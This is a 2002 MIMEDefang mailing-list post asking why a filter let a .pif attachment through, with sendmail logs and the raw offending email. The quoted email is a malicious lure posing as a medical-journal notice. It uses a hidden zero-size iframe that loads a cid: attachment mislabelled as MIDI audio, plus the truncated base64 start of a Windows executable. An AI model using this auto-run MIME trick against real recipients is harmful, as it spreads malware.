[Mimedefang] .PIF Attachement succeed to pass through MD

Vincent Jaussaud tatooin at kelkoo.com
Wed Oct 9 11:23:01 EDT 2002


Hi,

I recently found the following mail (see below) passing through MD 2.21,
although it's extension was supposed to be blocked (.pif)

Here is sendmail logs:

Oct  9 02:29:40 mail sendmail[12277]: g990TeTt012277: Milter
(mimedefang): init success to negotiate
Oct  9 02:29:40 mail sendmail[12277]: g990TeTt012277: Milter: connect to
filters
Oct  9 02:29:52 mail sendmail[12277]: g990TeTt012277:
from=<webmaster at leland.bj>, size=69713, class=0, nrcpts=2,
msgid=<200210090055.BAA17938 at bow.intnet.bj>, proto=ESMTP, daemon=MTA,
relay=smtp.leland.bj [208.164.176.95]
Oct  9 02:29:52 mail sendmail[12277]: g990TeTt012277: Milter add:
header: X-Scanned-By: MIMEDefang 2.21 (www . roaringpenguin . com /
mimedefang)
Oct  9 02:29:52 mail sendmail[12277]: g990TeTt012277: Milter accept:
message
Oct  9 02:29:52 mail sendmail[12281]: g990TeTt012277: to=hostmaster\r,
delay=00:00:05, xdelay=00:00:00, mailer=local, pri=130016, dsn=2.0.0,
stat=Sent
Oct  9 02:29:53 mail sendmail[12281]: g990TeTt012277: to=quality-fr\r,
delay=00:00:06, xdelay=00:00:01, mailer=local, pri=130016, dsn=2.0.0,
stat=Sent
Oct  9 02:29:53 mail sendmail[12281]: g990TeTt012277: done;
delay=00:00:06, ntries=1

Any clue why MD allowed this message ?

Thanks.
Vincent.

---

Return-Path: <webmaster at leland.bj>
Received: from smtp.leland.bj (smtp.leland.bj [208.164.176.95]) by mail.kelkoo.net (Kelkoo.Secure-SMTP/X.Y.Z) with ESMTP id g990TeTt012277; Wed, 9 Oct 2002 02:29:47 +0200
Received: from bow.intnet.bj (bow.intnet.bj [194.51.163.253]) by smtp.leland.bj (8.11.2/8.11.2) with ESMTP id g99049b05826; Wed, 9 Oct 2002 01:04:39 +0100
Received: from 8110fr3z01vd (e14-20.leland.bj [81.91.224.140]) by bow.intnet.bj (8.9.3/8.9.3) with SMTP id BAA17938; Wed, 9 Oct 2002 01:55:04 +0100
Date: 09 Oct 2002 01:55:04 +0100
Message-Id: <200210090055.BAA17938 at bow.intnet.bj>
From: The New England Journal of Medicine <webmaster at leland.bj>
Subject: The New England Journal of Medicine, May 23, 2002
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----------43KPH7UCFVLGOG6"
To: Security at kelkoo.com
X-Scanned-By: MIMEDefang 2.21 (www . roaringpenguin . com / mimedefang)
Status: 
X-Evolution-Source: pop://hostmaster@mail.kelkoo.net/	
Could not parse MIME message. Displaying as source.

------------4F4GSBY9XOLHCYV
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:kf3Y4YY7ms5Tj height=3D0 width=3D0>
</iframe>
<FONT></FONT>
=====================================================================<br>
THE NEW ENGLAND JOURNAL OF MEDICINE<br>
Volume 346, Issue 21: May 23, 2002<br>
<http://content.nejm.org/content/vol346/issue21/index.shtml?query=TOC><br>
=========
</BODY></HTML>

------------4F4GSBY9XOLHCYV
Content-Type: audio/x-midi;
        name=O.M.S.pif
Content-Transfer-Encoding: base64
Content-ID: <kf3Y4YY7ms5Tj>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAABxdTv8NRRVrzUUVa81FFWvTghZrzEUVa+2CFuvNxRVr90LX68gFFWv3QtR
rzcUVa9XC0avPhRVrzUUVK+OFFWv3QterzoUVa+NElOvNBRVr1JpY2g1FFWvAAAAAAAAAABQRQAA
TAEDAF1Flz0AAAAAAAAAAOAADwELAQYAAMAAAAAQAAAAQAYAQA0HAABQBgAAEAcAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAgBwAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
...





More information about the MIMEDefang mailing list